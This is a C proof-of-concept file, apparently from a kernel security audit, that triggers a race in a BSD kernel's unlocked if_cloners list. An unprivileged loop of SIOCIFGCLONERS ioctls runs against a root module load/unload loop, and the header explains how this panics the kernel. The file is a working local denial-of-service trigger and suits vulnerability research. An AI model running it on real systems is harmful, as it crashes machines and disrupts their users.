DF-0726 / reader.c
/* * DF-0726 trigger โ unprivileged reader side of the if_cloners race. * * Hammer SIOCIFGCLONERS (the *unprivileged* ioctl path, no caps_priv_check * per sys/net/if.c:2017-2018) in a tight loop. The kernel reads the global * if_cloners list and if_cloners_count with NO lock (sys/net/if_clone.c:207, * :216, :219-221). If a privileged writer (kldload/kldunload of an if_*.ko * cloner module) concurrently runs if_clone_attach()/if_clone_detach() โ which * mutate the same list/count with NO lock (if_clone.c:147,166-167 and * :192-194) โ the reader can dereference a list node whose backing module has * been unmapped, taking a fatal page fault in kernel mode (panic / DoS). * * Build: cc -O2 -o reader reader.c * Run: ./reader (as unprivileged user; loops forever) * * This program is the *reader* half of the race. The *writer* half is a root * kldload/kldunload loop, driven from run.sh via vm.sh run_root so the whole * demonstration stays within the permissive-audit guest model. */ #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <net/if_clone.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(void) { int s, i, rc; char buf[IFNAMSIZ * 256]; /* room for many cloners */ struct if_clonereq ifcr; if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); return 2; } memset(&ifcr, 0, sizeof(ifcr)); ifcr.ifcr_count = 256; ifcr.ifcr_buffer = buf; /* Tight loop: each ioctl traverses the if_cloners list unlocked. */ for (i = 0; ; i++) { ifcr.ifcr_total = 0; rc = ioctl(s, SIOCIFGCLONERS, &ifcr); if (rc < 0) { /* EFAULT / ENOMEM under the race is itself evidence. */ if (errno == EFAULT || errno == ENOMEM) fprintf(stderr, "[reader] iter %d: suspicious errno=%d\n", i, errno); } if ((i & 0x3fff) == 0) fprintf(stderr, "[reader] %d iters, total=%d\n", i, ifcr.ifcr_total); } /* not reached */ close(s); return 0; } |